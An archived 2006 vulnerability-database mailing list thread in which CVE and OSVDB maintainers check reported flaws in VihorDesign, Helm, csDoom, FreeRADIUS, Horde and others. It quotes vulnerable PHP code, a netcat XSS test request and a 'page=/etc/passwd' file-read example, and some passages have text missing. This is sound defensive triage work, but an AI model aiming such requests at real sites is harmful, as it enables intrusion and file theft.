From: freshmeat-news at lists.freshmeat.net
[078] - XHP 0.5.1
by Laurentiu "Lars" Matei (http://freshmeat.net/users/cjlars/)
Thu, Mar 23rd 2006 21:35
Internet :: WWW/HTTP :: Dynamic Content
About: XHP (eXpandable Home Page) is a personal home page program (CMS)
that is easy to install, easy to use, and easy to expand. It includes
blog, image gallery, content modules, and an API for contributed modules.
It tries to fill the lack of personal home-page oriented CMSs, since most
of the current CMSs are dedicated to the enterprise market or large
portals.
Changes: This version was released to solve a critical vulnerability. The
vulnerability is described here:
http://xhp.targetit.ro/index.php?page=3&box_id=34&action=show_single_entry&post_id=10
http://secunia.com/advisories/19353/
http://www.osvdb.org/displayvuln.php?osvdb_id=24059
http://www.osvdb.org/displayvuln.php?osvdb_id=24058. This release also
includes two patches previously published for 0.5 that solve a blog page
generation issue and an installation issue connected to MySQL.
License: GNU General Public License (GPL)
URL: http://freshmeat.net/projects/xhp/
From coley at mitre.org Sun Mar 26 18:49:43 2006
From: coley at mitre.org (Steven M. Christey)
Date: Sun, 26 Mar 2006 18:49:43 -0500 (EST)
Subject: [VIM] clarification of "VihorDesign" (not VihorDesing) issues
Message-ID: <200603262349.k2QNnhCh025770@cairo.mitre.org>
A typo in a Bugtraq post is making the rounds through various vuln
dbs. I also did some followup analysis and found some interesting/odd
things, plus a question.
Ref: VihorDesing Script Remote Command Exucetion And Cross Scripting
Attack
http://www.securityfocus.com/archive/1/archive/1/428737/100/0/threaded
==== product/vendor name ====
If you access the vendor web site as specified in the Bugtraq post:
http://www.vihor.de
The zip file is called "vihordesign"
and some text near the top of the page says ":: ViHor :: Design ::"
If you Google, the company seems to be "ViHor Design".
For humor, type "vihordesing" into Google and compare the results to
"vihordesign".
I don't read German, but it sounds like this is a web design company,
which might argue for exclusion from a vuln DB. However, for CVE's
purposes, since there's a distinct download of the code, it counts.
... which led me to download and inspect the source for the claimed
"remote execute" and XSS issues.
==== source code inspection ====
vihordesign_1.0.6/index.php has the following code:
if ($page=="") $page="mainfile.php";
...
$fd = fopen($page, "r");
while (!feof($fd)) {
echo fgets($fd, 10096);
}
A "grep" shows no other use of $page in any other file in the 1.0.6
distribution.
Since fopen() can support remote URLs, we have what might appear to be
a classic PHP remote file issue. However, this is in an fopen(), and
it's not being fed into an include/require statement; it's just
echoing the results back to the client. So I don't see how it can be
used for code execution.
But I'm not that familiar with PHP, so maybe someone else can clarify.
Can the output of "echo" get interpreted as PHP if it's echoing a
" tags in the
page parameter. Since we now know that "page" is only used in an
fopen call, the "
HTTP/1.0\r\n\r\n' | nc target 80
under PHP 4.4.0-pl1-gentoo returns a line like the following:
Warning: fopen(): failed
to open stream: No such file or directory in
/var/www/localhost/htdocs/vihor/index.php on line 97
so yes, you do have a cross-site scripting flaw provided display_errors
is enabled. Interestingly, though, the next error line is like:
Warning: feof(): supplied argument is not a valid stream
resource in /var/www/localhost/htdocs/vihor/index.php on line
98
and this repeats continually. So if you try this in a browser, you'll
probably hang the browser before you pop-up any alert boxes.
George
--
theall at tenablesecurity.com
From mjc at redhat.com Mon Mar 27 04:36:28 2006
From: mjc at redhat.com (Mark J Cox)
Date: Mon, 27 Mar 2006 10:36:28 +0100 (BST)
Subject: [VIM] clarification of "VihorDesign" (not VihorDesing) issues
In-Reply-To: <200603262349.k2QNnhCh025770@cairo.mitre.org>
References: <200603262349.k2QNnhCh025770@cairo.mitre.org>
Message-ID: <0603271022490.25005@dell1.moose.awe.com>
> if ($page=="") $page="mainfile.php";
> ...
> $fd = fopen($page, "r");
> while (!feof($fd)) {
> echo fgets($fd, 10096);
> }
With PHP <5.0.0 I can't see a way you can get an fopen in PHP to run
arbitrary code with the default wrappers (unless you've previously defined
a new handler or perhaps installed a third-party stream wrapper). Now
with PHP 5.0.0 you might be able to use the default filter handler
"php://filter...." to write to a file and perhaps pick one which will
gets executed (I don't have PHP 5 handy to try it)
This is certainly more useful to an attacker to return arbitrary files
that the web server can read if safe_mode is off (page=/etc/passwd etc)
than XSS though.
Mark
--
Mark J Cox / Red Hat Security Response Team
From jericho at attrition.org Mon Mar 27 11:22:35 2006
From: jericho at attrition.org (security curmudgeon)
Date: Mon, 27 Mar 2006 11:22:35 -0500 (EST)
Subject: [VIM] Helm Control Panel followup
Message-ID:
---------- Forwarded message ----------
From: security curmudgeon
To: WebHost Automation Ltd
Date: Mon, 27 Mar 2006 11:22:10 -0500 (EST)
Subject: Re: Your account details (WHA15946)
Hello,
I signed up to be able to mail support a question regarding your product,
but it says that since I don't have a contract I can't do that. Hopefully
you will be able to forward this on to the appropriate people.
Recently, a few security vulnerabilities were reported in one of your
products:
http://pridels.blogspot.com/2006/03/helm-web-hosting-control-panel-xss.html
The above reports says there are some cross-site scripting (XSS) issues in
default.asp. This report says that 3.2.10 is vulnerable but I noticed the
product history lists the following:
http://www.webhostautomation.com/webhost-301
3.2.6
Fixed XSS entry in default page
Can you confirm these are seperate issues? Does this changelog entry note
a previous (but different) cross-site scripting issue?
Thanks,
Brian
From jericho at attrition.org Mon Mar 27 11:38:48 2006
From: jericho at attrition.org (security curmudgeon)
Date: Mon, 27 Mar 2006 11:38:48 -0500 (EST)
Subject: [VIM] Helm Control Panel followup
Message-ID:
---------- Forwarded message ----------
From: "Rob Kershaw (STAFF)"
To: jericho at attrition.org
Date: Mon, 27 Mar 2006 17:35:55 +0000
Subject: [TEV-89924]: Re: Your account details (WHA15946)
[..]
Yes, they were separate issues. 3.2.10 isn't even released yet. It is in
beta. The XSS problem mentioned in the below article has already been
fixed, and when 3.2.10 stable is released, the fixes will be included.
Kind regards,
Rob Kershaw
From jericho at attrition.org Mon Mar 27 12:52:15 2006
From: jericho at attrition.org (security curmudgeon)
Date: Mon, 27 Mar 2006 12:52:15 -0500 (EST)
Subject: [VIM] clarification of "VihorDesign" (not VihorDesing) issues
In-Reply-To: <0603271022490.25005@dell1.moose.awe.com>
References: <200603262349.k2QNnhCh025770@cairo.mitre.org>
<0603271022490.25005@dell1.moose.awe.com>
Message-ID:
: With PHP <5.0.0 I can't see a way you can get an fopen in PHP to run
: arbitrary code with the default wrappers (unless you've previously
: defined a new handler or perhaps installed a third-party stream
: wrapper). Now with PHP 5.0.0 you might be able to use the default
: filter handler "php://filter...." to write to a file and perhaps pick
: one which will gets executed (I don't have PHP 5 handy to try it)
:
: This is certainly more useful to an attacker to return arbitrary files
: that the web server can read if safe_mode is off (page=/etc/passwd etc)
: than XSS though.
Interesting, as Secunia published:
http://secunia.com/advisories/19403/
Input passed to the "page" parameter isn't properly verified, before it
is used to display files. This can be exploited to display arbitrary
files from local resources via directory traversal attacks.
Successful exploitation requires that "register_globals" is enabled.
From coley at mitre.org Mon Mar 27 23:59:31 2006
From: coley at mitre.org (Steven M. Christey)
Date: Mon, 27 Mar 2006 23:59:31 -0500 (EST)
Subject: [VIM] Provable vendor ACK in csDoom
Message-ID: <200603280459.k2S4xVI1020257@cairo.mitre.org>
OK, so when Luigi Auriemma says an issue is vendor-acknowledged we all
have reasonable cause to believe him, but I went the extra mile to
prove it.
Ref: http://aluigi.altervista.org/adv/csdoombof-adv.txt
Claimed vendor acknowledgement and patch.
The vendor home page here:
http://voxelsoft.com/csdoom/
has undated and uncredited statements under the "Features" section:
Added:
* Multiple buffer overflow fixes
* Multiple string handling fixes
The "Latest Sources" section had source code updated 25/03/2006,
another correlator.
Still - historically, CVE has not treated discloser-claimed
acknowledgement as true vendor acknowledgement, even for reliable
researchers (though I'm reconsidering that policy 'cause sometimes it
means we spend a lot of time trying to prove what we're already 95%
confident about). Anyway, I dug a bit further.
Grabbing the source code from the vendor site and grepping for "luigi"
gave me a mild surprise:
In ./server/c_console.cpp:
>int PrintString (int printlevel, char *outline)
>{
> static bool last_string_terminated = true;
> char szBuffer[9000]; // thanks to Luigi Auriemma for finding
>an overflow bug here
OK so the vendor doesn't make this sound exactly like a format string,
but the source code no longer has this piece of code, as quoted in
Auriemma's original advisory:
printf (outline);
All sprintf/printf statements in PrintString() now have constant
format strings.
Similarly, in server/sv_main.cpp we now have:
>void STACK_ARGS SV_BroadcastPrintf (int level, const char *fmt, ...)
>{
> va_list argptr;
> char string[4096]; // thanks to Luigi Auriemma for finding an overflow bug here
>
but notice this change as well:
>void STACK_ARGS SV_BroadcastPrintfExcluding (int level, int client_nosend, const char *fmt, ...)
>{
> va_list argptr;
> char string[4096]; // thanks to Luigi Auriemma for finding an overflow bug here
Auriemma did not mention SV_BroadcastPrintfExcluding() in his
advisory.
While uncredited, there do appear to be relevant changes to
SV_SetupUserInfo() in sv_main.cpp:
> strcpy(string, MSG_ReadString());// changed
> if(/*!strlen(string) ||*/ strlen(string) > MAXPLAYERNAME || strstr(string, "%"))
>
>...
>
> strcpy(p->userinfo.netname, string);
... which looks like a sanity check against string length for the
strcpy() function call.
Similarly, you have:
> strcpy(string, MSG_ReadString());
> if(strlen(string) > MAXPLAYERNAME || strstr(string, "%"))
>
>...
> strcpy(p->userinfo.team, string); // changed
... which is also a sanity check.
Thus, as originally claimed by the researcher, the vendor has
acknowledged the issue via a vague changelog and explicit patches.
- Steve
From coley at mitre.org Tue Mar 28 00:16:58 2006
From: coley at mitre.org (Steven M. Christey)
Date: Tue, 28 Mar 2006 00:16:58 -0500 (EST)
Subject: [VIM] r0t is back - who's running the betting pool?
Message-ID: <200603280516.k2S5GwLP020494@cairo.mitre.org>
OK, so us vuln DBs know that r0t is apparently back. Anybody want to
run the betting pool?
1) When will we see the first vendor dispute in which the vendor
doesn't actually understand XSS and needs to be educated?
2) When will we see the first vendor dispute in which the vendor
claims that the reported SQL injection isn't a problem and we can't
prove that it's nothing more than a forced invalid SQL because r0t
used a ' and nothing else?
3) When will the first threatened lawsuit take place and how quickly
will the vendor retract it once proven wrong?
4) When will we see an issue for a live site or service provider that
theoretically should not be included in vdb's based on editorial
policy but gets included anyway 'cause we're drowning in the
volume?
5) Why is this humorous at all? :-/
Still wishing for a magical r0t-to-CVE automatic converter...
And I'll buy a beer for anyone who's willing to write a generic "so, a
14 year old has reported a blatantly obvious XSS or SQL injection vuln
in your product and you want to sue us" FAQ.
- Steve
From jericho at attrition.org Tue Mar 28 00:20:27 2006
From: jericho at attrition.org (security curmudgeon)
Date: Tue, 28 Mar 2006 00:20:27 -0500 (EST)
Subject: [VIM] r0t is back - who's running the betting pool?
In-Reply-To: <200603280516.k2S5GwLP020494@cairo.mitre.org>
References: <200603280516.k2S5GwLP020494@cairo.mitre.org>
Message-ID:
: OK, so us vuln DBs know that r0t is apparently back. Anybody want to
: run the betting pool?
:
: 1) When will we see the first vendor dispute in which the vendor
: doesn't actually understand XSS and needs to be educated?
I'll put down a dollar on 48 hours from the first flood (last night to
today) since his return. The handful before today didn't count =)
: 2) When will we see the first vendor dispute in which the vendor
: claims that the reported SQL injection isn't a problem and we can't
: prove that it's nothing more than a forced invalid SQL because r0t
: used a ' and nothing else?
I'll take 48 hours on that too. I'd take less but he tends to find them in
smaller packages where the devs don't seem to be camping their email like
we do.
: 3) When will the first threatened lawsuit take place and how quickly
: will the vendor retract it once proven wrong?
NOT SOON ENOUGH
: 4) When will we see an issue for a live site or service provider that
: theoretically should not be included in vdb's based on editorial
: policy but gets included anyway 'cause we're drowning in the
: volume?
This one is hard to say but definitely a concern given so many researchers
using the online demo to test. Hell, while looking around some different
software packages, I was trying out demos to see functionality, and
invariably found myself testing for simple XSS to gauge if they had
considered security. =)
: And I'll buy a beer for anyone who's willing to write a generic "so, a
: 14 year old has reported a blatantly obvious XSS or SQL injection vuln
: in your product and you want to sue us" FAQ.
That beer is mine sir. Next legal threat any of us get, forward to VIM
and i'll write up a FAQ and post it on the blog and here.
From sullo at cirt.net Tue Mar 28 00:31:35 2006
From: sullo at cirt.net (Sullo)
Date: Tue, 28 Mar 2006 00:31:35 -0500
Subject: [VIM] r0t is back - who's running the betting pool?
In-Reply-To: <200603280516.k2S5GwLP020494@cairo.mitre.org>
References: <200603280516.k2S5GwLP020494@cairo.mitre.org>
Message-ID: <4428CA37.9090607@cirt.net>
Steven M. Christey wrote:
What can i get if i win? someone buys me a beer in vegas?
> 1) When will we see the first vendor dispute in which the vendor
> doesn't actually understand XSS and needs to be educated?
>
Advisory #3
> 2) When will we see the first vendor dispute in which the vendor
> claims that the reported SQL injection isn't a problem and we can't
> prove that it's nothing more than a forced invalid SQL because r0t
> used a ' and nothing else?
>
Advisory #1.
> 3) When will the first threatened lawsuit take place and how quickly
> will the vendor retract it once proven wrong
>
Advisory #3, #5
> 4) When will we see an issue for a live site or service provider that
> theoretically should not be included in vdb's based on editorial
> policy but gets included anyway 'cause we're drowning in the
> volume?
>
#1, 3, 4, 5, 6
> 5) Why is this humorous at all? :-/
>
See 1-4 above... you have to keep a sense of humor!
> And I'll buy a beer for anyone who's willing to write a generic "so, a
> 14 year old has reported a blatantly obvious XSS or SQL injection vuln
> in your product and you want to sue us" FAQ.
>
how much beer? :-)
-Sullo
--
http://www.cirt.net/ | http://www.osvdb.org/
From coley at linus.mitre.org Tue Mar 28 00:52:45 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 28 Mar 2006 00:52:45 -0500 (EST)
Subject: [VIM] r0t is back - who's running the betting pool?
In-Reply-To: <4428CA37.9090607@cirt.net>
References: <200603280516.k2S5GwLP020494@cairo.mitre.org>
<4428CA37.9090607@cirt.net>
Message-ID:
On Tue, 28 Mar 2006, Sullo wrote:
> > And I'll buy a beer for anyone who's willing to write a generic "so, a
> >
> how much beer? :-)
I said "a" beer, but I suspect you could find a loophole with respect to
the size of the container.
- Steve
From coley at linus.mitre.org Tue Mar 28 02:38:39 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 28 Mar 2006 02:38:39 -0500 (EST)
Subject: [VIM] Helm Control Panel followup
In-Reply-To:
References:
Message-ID:
On Mon, 27 Mar 2006, security curmudgeon wrote:
> http://www.webhostautomation.com/webhost-301
CVE missed it the first time around, and it looks like some other vdbs
have, but the entry for 3.2.9 has fairly clear acknowledgement of
CVE-2006-0211:
3.2.9
-------
...
Fixed XSS issue in password reminder page
- Steve
From coley at mitre.org Tue Mar 28 02:46:57 2006
From: coley at mitre.org (Steven M. Christey)
Date: Tue, 28 Mar 2006 02:46:57 -0500 (EST)
Subject: [VIM] Clarification/dispute (or not) on Sep 2005 FreeRADIUS issues
Message-ID: <200603280746.k2S7kvFU022522@cairo.mitre.org>
Various VDBs reported some FreeRADIUS issues, possibly stemming from a
public Red Hat bug report in September 2005, which highlighted some
details of an original SuSE bug report:
https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=167676
The original SUSE report was not public, near as I can tell.
Relevant references for Red Hat's bug report include BID:14775,
SECUNIA:16712, and various X-Force references including
XF:freeradius-token-sqlunixodbc-dos(22211).
FreeRADIUS also posted a point-by-point dispute of SuSE's extensive
findings, here:
http://www.freeradius.org/security/20050909-response-to-suse.txt
While multiple "bugs" were acknowledged, most of them were not
"externally exploitable" in FreeRADIUS' terminology, which (with other
comments in the dispute) I interpreted as meaning that the bugs were
only exploitable by the FreeRADIUS admin - and thus did not seem to
cross security boundaries. I'm not 100% convinced that the LDAP issue
falls under this category (wildcards are rarely mentioned as attack
vectors in LDAP related issues), but there's only so much to process
at once.
The conflicting reports from SUSE and FreeRADIUS resulted in what CVE
calls a "delay complex" action, which shouldn't last more than a day
or two but sometimes does, especially when even the editor doesn't
know what to do :)
Anyway, here it is 6 months later and I've been prompted to address
the question, at least for CVE. Since the FreeRADIUS dispute seemed
to be the last public commentary on the issue (or issues), I used that
as the authoritative document. Trying to read between the lines of
FreeRADIUS' dispute, it seems that only one aspect of SUSE's original
report is agreed to by FreeRADIUS, an off-by-one error in the
sql_error function in sql_unixodbc.c, which is still apparently
dependent on other environmental factors. I wrote up a CVE
accordingly.
In the midst of all this, the FreeRADIUS web site also reported some
issues that it treated as vulnerabilities, but they were originally
reported by Primoz Bratanic, not SUSE. Reading between the lines
again, the core issues seem to involve SQL injection and a buffer
overflow in the rlm_sqlcounter module:
http://www.freeradius.org/security.html
"2005.09.09 v1.0.3, v1.0.4 - Multiple issues exist with version
1.0.4, and all prior versions of the server. Externally exploitable
vulnerabilities exist only for sites that use the rlm_sqlcounter
module. Those sites may be vulnerable to SQL injection attacks,
similar to the issues noted below. All sites that have not deployed
the rlm_sqlcounter module are not vulnerable to external
exploits. However, we still recommend that all sites upgrade to
version 1.0.5.
The issues are:
* SQL Injection attack in the rlm_sqlcounter module.
* Buffer overflow in the rlm_sqlcounter module, that may cause a
server crash.
* Buffer overflow while expanding %t, that may cause a server crash.
These issues were found by Primoz Bratanic. As the rlm_sqlcounter
module is marked "experimental" in the server source, it is not
enabled or configured in most sites. As a result, we believe that
the number of vulnerable sites is low.
Attack vectors or affected components for the "%t" issue were not
clear according to this text.
Based on all this, I chose to create 3 separate CVE identifiers as you
see below, but needless to say my confidence in their accuracy is
sub-par.
- Steve
======================================================
Name: CVE-2005-4744
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4744
Acknowledged: yes advisory
Announced: 20050909
Flaw: other
Reference: CONFIRM:http://www.freeradius.org/security/20050909-response-to-suse.txt
Reference: MISC:http://www.freeradius.org/security/20050909-vendor-sec.txt
Reference: MISC:https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=167676
Reference: BID:14775
Reference: URL:http://www.securityfocus.com/bid/14775
Reference: SECUNIA:16712
Reference: URL:http://secunia.com/advisories/16712
Reference: XF:freeradius-token-sqlunixodbc-dos(22211)
Reference: URL:http://xforce.iss.net/xforce/xfdb/22211
Off-by-one error in the sql_error function in sql_unixodbc.c in
FreeRADIUS 1.0.2.5-5, and possibly other versions including 1.0.4,
might allow remote attackers to cause a denial of service (crash) and
possibly execute arbitrary code by causing the external database query
to fail. NOTE: this single issue is part of a larger-scale
disclosure, originally by SUSE, which reported multiple issues that
were disputed by FreeRADIUS. Disputed issues included file descriptor
leaks, memory disclosure, LDAP injection, and other issues. Without
additional information, the most recent FreeRADIUS report is being
regarded as the authoritative source for this CVE identifier.
Analysis:
ACCURACY: the FreeRADIUS dispute to the original SUSE post contains
point-by-point rebuttals of many of SUSE's original claims, but it
does not explicitly acknowledge some individual issues. Therefore
this CVE identifier is a "best guess" (as of 20060327) regarding the
best available information.
======================================================
Name: CVE-2005-4745
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4745
Acknowledged: yes changelog
Announced: 20050909
Flaw: sql-inject
Reference: CONFIRM:http://www.freeradius.org/security.html
Reference: OSVDB:19323
Reference: URL:http://www.osvdb.org/19323
SQL injection vulnerability in the rlm_sqlcounter module in FreeRADIUS
1.0.3 and 1.0.4 allows remote attackers to execute arbitrary SQL
commands via unknown attack vectors.
Analysis:
ACKNOWLEDGEMENT: vendor security page says "2005.09.09 v1.0.3, v1.0.4
- Multiple issues exist with version 1.0.4, and all prior versions of
the server. Externally exploitable vulnerabilities exist only for
sites that use the rlm_sqlcounter module. Those sites may be
vulnerable to SQL injection attacks, similar to the issues noted
below... SQL Injection attack in the rlm_sqlcounter module."
======================================================
Name: CVE-2005-4746
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4746
Acknowledged: yes changelog
Announced: 20050909
Flaw: buf
Reference: CONFIRM:http://www.freeradius.org/security.html
Reference: OSVDB:19324
Reference: URL:http://www.osvdb.org/19324
Reference: OSVDB:19325
Reference: URL:http://www.osvdb.org/19325
Multiple buffer overflows in FreeRADIUS 1.0.3 and 1.0.4 allow remote
attackers to cause denial of service (crash) via (1) the
rlm_sqlcounter module or (2) unknown vectors "while expanding %t".
Analysis:
ACKNOWLEDGEMENT: vendor security page says "2005.09.09 v1.0.3, v1.0.4
- Multiple issues exist with version 1.0.4, and all prior versions of
the server. Externally exploitable vulnerabilities exist only for
sites that use the rlm_sqlcounter module... Buffer overflow in the
rlm_sqlcounter module, that may cause a server crash. Buffer overflow
while expanding %t, that may cause a server crash."
From sullo at cirt.net Tue Mar 28 08:09:04 2006
From: sullo at cirt.net (Sullo)
Date: Tue, 28 Mar 2006 08:09:04 -0500
Subject: [VIM] r0t is back - who's running the betting pool?
In-Reply-To:
References: <200603280516.k2S5GwLP020494@cairo.mitre.org> <4428CA37.9090607@cirt.net>
Message-ID: <44293570.8080409@cirt.net>
>>> And I'll buy a beer for anyone who's willing to write a generic "so, a
>>>
>>>
>> how much beer? :-)
>>
>
> I said "a" beer, but I suspect you could find a loophole with respect to
> the size of the container
>
Bah! That's what I get for drinking *before* posting... :-)
--
http://www.cirt.net/ | http://www.osvdb.org/
From coley at mitre.org Tue Mar 28 19:49:04 2006
From: coley at mitre.org (Steven M. Christey)
Date: Tue, 28 Mar 2006 19:49:04 -0500 (EST)
Subject: [VIM] Conftool, not Canftool; appears to be distributable
Message-ID: <200603290049.k2T0n4e0005508@cairo.mitre.org>
Ref:
BUGTRAQ:20060327 CanfTool v1.1 Cross Site Scripting Attack
URL:http://www.securityfocus.com/archive/1/archive/1/428899/100/0/threaded
Subject line says "CanfTool" but rest of the post says "ConfTool",
which is correct.
A glance at the vendor web site suggests that it is primarily an
application/hosting provider, but the following license makes it clear
that there are cases in which its code is made available to consumers:
http://www.conftool.net/en/vsis_conftool_license.html
"Don't give the software or parts of it to others without our
explicit approval.
...
If you improve the tool, let us have the altered sources so we can
integrate your improvements into the official version."
- Steve
From coley at mitre.org Wed Mar 29 02:33:59 2006
From: coley at mitre.org (Steven M. Christey)
Date: Wed, 29 Mar 2006 02:33:59 -0500 (EST)
Subject: [VIM] Ask and ye Might Receive
Message-ID: <200603290733.k2T7Xxkb007498@cairo.mitre.org>
Funny, we were just talking about something like this last week...
The Web Hacking Incidents Database, hosted by WASC, lists multiple web
hacking incidents. However, they also include references to
Full-Disclosure posts for XSS issues in high-profile sites...
http://www.webappsec.org/projects/whid/
- Steve
From jericho at attrition.org Wed Mar 29 09:50:36 2006
From: jericho at attrition.org (security curmudgeon)
Date: Wed, 29 Mar 2006 09:50:36 -0500 (EST)
Subject: [VIM] Ask and ye Might Receive
In-Reply-To: <200603290733.k2T7Xxkb007498@cairo.mitre.org>
References: <200603290733.k2T7Xxkb007498@cairo.mitre.org>
Message-ID:
: Funny, we were just talking about something like this last week...
:
: The Web Hacking Incidents Database, hosted by WASC, lists multiple web
: hacking incidents. However, they also include references to
: Full-Disclosure posts for XSS issues in high-profile sites...
:
: http://www.webappsec.org/projects/whid/
Yep, this hit right after two days of fresh discussion between the OSVDB
folks, on how best to implement a site specific vuln section of the
database.
The WHID is interesting, as it is a cross between what we had been
discussing (vulns in specific sites/services), and dataloss
(attrition.org/errata/dataloss).
From jericho at attrition.org Wed Mar 29 10:17:03 2006
From: jericho at attrition.org (security curmudgeon)
Date: Wed, 29 Mar 2006 10:17:03 -0500 (EST)
Subject: [VIM] Googlebot Destroys Morons Website (fwd)
Message-ID:
Amusing and interesting. Wonder what CMS he was using =)
---------- Forwarded message ----------
From: Dude VanWinkle
To: FunSec LList
Date: Wed, 29 Mar 2006 05:44:10 -0700
http://www.thedailywtf.com/forums/65974/ShowPost.aspx
Things went pretty well for a few days after going live. But, on day
six, things went not-so-well: all of the content on the website had
completely vanished and all pages led to the default "please enter
content" page. Whoops.
Josh was called in to investigate and noticed that one particularly
troublesome external IP had gone in and deleted *all* of the content
on the system. The IP didn't belong to some overseas hacker bent on
destroying helpful government information. It resolved to
googlebot.com, Google's very own web crawling spider. Whoops.
After quite a bit of research (and scrambling around to find a
non-corrupt backup), Josh found the problem. A user copied and pasted
some content from one page to another, including an "edit" hyperlink
to edit the content on the page. Normally, this wouldn't be an issue,
since an outside user would need to enter a name and password. But,
the CMS authentication subsystem didn't take into account the
sophisticated hacking techniques of Google's spider. Whoops.
As it turns out, Google's spider doesn't use cookies, which means that
it can easily bypass a check for the "isLoggedOn" cookie to be
"false". It also doesn't pay attention to Javascript, which would
normally prompt and redirect users who are not logged on. It does,
however, follow every hyperlink on every page it finds, including
those with "Delete Page" in the title. Whoops.
From coley at mitre.org Wed Mar 29 18:34:49 2006
From: coley at mitre.org (Steven M. Christey)
Date: Wed, 29 Mar 2006 18:34:49 -0500 (EST)
Subject: [VIM] Older VWar issue reported on vendor web site
Message-ID: <200603292334.k2TNYnI6009314@cairo.mitre.org>
FYI, the VWar home page at http://www.vwar.de has an item "25.11.2005
... fixed: XSS bug in functions_admin.php which could allow malicious
users to include a (remote) file and eg. execute php commands on the
server hosting vwar ... thanks to Cedric Dubois from
http://www.priorweb.be for reporting this leak." While referred to as
XSS, it sounds like a file inclusion problem to me. Though remote URL
inclusion *is* usually about sending scripts from one site to
another... ;-)
- Steve
From theall at tenablesecurity.com Wed Mar 29 20:30:47 2006
From: theall at tenablesecurity.com (George A. Theall)
Date: Wed, 29 Mar 2006 20:30:47 -0500
Subject: [VIM] Info on Unspecified Webmail Flaw Fixed in Winmail 4.3?
Message-ID: <442B34C7.7090100@tenablesecurity.com>
Does anyone have any specifics about the Winmail Server flaw referenced
by CVE-2006-1250, BID 17009, and OSVDB 23877? All point to the changelog
for version 4.3(Build 0302), presumably item 9, which says: "Fixed some
security problem of Webmail."
In November 2005, Secunia announced 4 flaws in the webmail portion:
http://secunia.com/secunia_research/2005-58/advisory/
and version 4.3 is the first version released since then.
Earlier today, I set up this newer version and tried to exploit the
first issue (directory traversal when creating session files) without
success. This together with the timing of the release makes me suspect
those issues are collectively what the vendor considers to have
addressed in 4.3, but I wonder if anyone here knows definitively what's up.
Thanks in advance,
George
--
theall at tenablesecurity.com
From coley at linus.mitre.org Thu Mar 30 01:31:02 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Thu, 30 Mar 2006 01:31:02 -0500 (EST)
Subject: [VIM] Info on Unspecified Webmail Flaw Fixed in Winmail 4.3?
In-Reply-To: <442B34C7.7090100@tenablesecurity.com>
References: <442B34C7.7090100@tenablesecurity.com>
Message-ID:
On Wed, 29 Mar 2006, George A. Theall wrote:
> Does anyone have any specifics about the Winmail Server flaw referenced
> by CVE-2006-1250, BID 17009, and OSVDB 23877? All point to the changelog
> for version 4.3(Build 0302), presumably item 9, which says: "Fixed some
> security problem of Webmail."
Sorry - CVE-2006-1250's only additional data references that particular
changelog item, so there's no other information.
> Earlier today, I set up this newer version and tried to exploit the
> first issue (directory traversal when creating session files) without
> success. This together with the timing of the release makes me suspect
> those issues are collectively what the vendor considers to have
> addressed in 4.3
You probably know this, but the timing of releases is shaky evidence,
especially in products with a vulnerability history and an undetermined
reliability when it comes to acknowledging/fixing issues. With this lack
of evidence, we decided it was best to create a separate identifier for
the changelog item above, rather than guess that maybe the changelog was
really dealing with CVE-2005-3811 and CVE-2005-3692.
I see that their web site requires you to register to even contact their
sales staff, otherwise I would have sent them an email asking them for
clarification.
- Steve
From coley at mitre.org Thu Mar 30 04:13:40 2006
From: coley at mitre.org (Steven M. Christey)
Date: Thu, 30 Mar 2006 04:13:40 -0500 (EST)
Subject: [VIM] Recent unspecified Horde vuln is eval injection
Message-ID: <200603300913.k2U9De4m010592@cairo.mitre.org>
FYI. See diff.
======================================================
Name: CVE-2006-1491
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1491
Reference: CONFIRM:http://lists.horde.org/archives/announce/2006/000271.html
Reference: CONFIRM:http://cvs.horde.org/diff.php?f=horde%2Fservices%2Fhelp%2Findex.php&r1=2.85&r2=2.86
Reference: BID:17292
Reference: URL:http://www.securityfocus.com/bid/17292
Reference: FRSIRT:ADV-2006-1154
Reference: URL:http://www.frsirt.com/english/advisories/2006/1154
Eval injection vulnerability in Horde Application Framework versions
3.0 before 3.0.10 and 3.1 before 3.1.1 allows remote attackers to
execute arbitrary code via the help viewer.
From theall at tenablesecurity.com Thu Mar 30 07:32:39 2006
From: theall at tenablesecurity.com (George A. Theall)
Date: Thu, 30 Mar 2006 07:32:39 -0500
Subject: [VIM] Recent unspecified Horde vuln is eval injection
In-Reply-To: <200603300913.k2U9De4m010592@cairo.mitre.org>
References: <200603300913.k2U9De4m010592@cairo.mitre.org>
Message-ID: <442BCFE7.8040002@tenablesecurity.com>
Steven M. Christey wrote:
> Eval injection vulnerability in Horde Application Framework versions
> 3.0 before 3.0.10 and 3.1 before 3.1.1 allows remote attackers to
> execute arbitrary code via the help viewer.
This one's nasty -- an unauthenticated attacker can execute arbitrary
PHP code regardless of the familiar register_globals / magic_quotes_gpc
settings and using just a simple GET. Even Hardened PHP's patches don't
stop it. Given Horde's popularity, I expect to this since used by worm
writers as soon as details get out on the exploit.
George
From coley at mitre.org Fri Mar 31 02:41:32 2006
From: coley at mitre.org (Steven M. Christey)
Date: Fri, 31 Mar 2006 02:41:32 -0500 (EST)
Subject: [VIM] "PHP Script Index" a site-specific issue?
Message-ID: <200603310741.k2V7fWLD013528@cairo.mitre.org>
Refs: BID:17297, FRSIRT:ADV-2006-1158, SECUNIA:19443
None of these refs had the original raw report, but OSVDB:24243 did:
http://osvdb.org/ref/24/24243-script_index.txt
from this raw report, Preddy discusses "PHP Script Index", but I can't
find any information on a product by this name. Preddy's
demonstration URL is site-specific - to a web site that just happens
to be an index of many PHP scripts. Searching for "PHP Script Index"
on this phpmaniacs web site finds nothing. Searching for ""
yields a message containing an unquoted .
Preddy claims the vendor URL is this:
http://www.nukedweb.com/phpscripts/
but it's just a regular web index.
Google searches suggest that there might have been a "PHP Script
Index" available on nukedweb at one time, but URLs are now broken.
Does anybody know if this is/was really a product or if Preddy was
reporting the issue in a single site? Assuming this was a real
product, how can we know for sure that the site mentioned by Preddy
was really running this particular piece of deadware?
- Steve
From coley at mitre.org Fri Mar 31 03:18:42 2006
From: coley at mitre.org (Steven M. Christey)
